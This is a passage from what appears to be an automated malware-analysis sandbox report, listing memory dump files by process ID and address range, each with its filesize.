                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                4KB

                                                                                                                                                                                                                                                                                                                                                                                                              • memory/4488-238-0x0000000002080000-0x00000000020BE000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                248KB

                                                                                                                                                                                                                                                                                                                                                                                                              • memory/4488-255-0x000000001ADA0000-0x000000001ADA2000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                8KB

                                                                                                                                                                                                                                                                                                                                                                                                              • memory/4488-226-0x00000000007A0000-0x00000000007A1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                4KB

                                                                                                                                                                                                                                                                                                                                                                                                              • memory/4528-304-0x0000000004A50000-0x0000000004A51000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                4KB

                                                                                                                                                                                                                                                                                                                                                                                                              • memory/4528-299-0x0000000000100000-0x0000000000101000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                4KB

                                                                                                                                                                                                                                                                                                                                                                                                              • memory/4616-378-0x0000000000400000-0x0000000002B53000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                39.3MB

                                                                                                                                                                                                                                                                                                                                                                                                              • memory/4616-390-0x00000000001D0000-0x00000000001FF000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                188KB

                                                                                                                                                                                                                                                                                                                                                                                                              • memory/4656-188-0x0000000000400000-0x000000000046D000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                436KB

                                                                                                                                                                                                                                                                                                                                                                                                              • memory/4692-309-0x0000000000400000-0x0000000000414000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                80KB

                                                                                                                                                                                                                                                                                                                                                                                                              • memory/4888-328-0x0000015E30940000-0x0000015E309B4000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                464KB

                                                                                                                                                                                                                                                                                                                                                                                                              • memory/4888-322-0x0000015E30880000-0x0000015E308CD000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                308KB

                                                                                                                                                                                                                                                                                                                                                                                                              • memory/5172-385-0x00000000052A0000-0x00000000058A6000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                6.0MB

                                                                                                                                                                                                                                                                                                                                                                                                              • memory/5236-330-0x00000000053D0000-0x00000000053D1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                4KB

                                                                                                                                                                                                                                                                                                                                                                                                              • memory/5236-324-0x0000000000B90000-0x0000000000B91000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                4KB

                                                                                                                                                                                                                                                                                                                                                                                                              • memory/5444-349-0x0000000000400000-0x0000000000414000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                80KB

                                                                                                                                                                                                                                                                                                                                                                                                              • memory/5596-359-0x00000000001E0000-0x00000000001E1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                4KB

                                                                                                                                                                                                                                                                                                                                                                                                              • memory/5776-435-0x00000000052D0000-0x00000000058D6000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                6.0MB

                                                                                                                                                                                                                                                                                                                                                                                                              • memory/5900-434-0x000000001B740000-0x000000001B742000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                8KB

                                                                                                                                                                                                                                                                                                                                                                                                              • memory/6052-430-0x00000000052D0000-0x00000000052D1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                4KB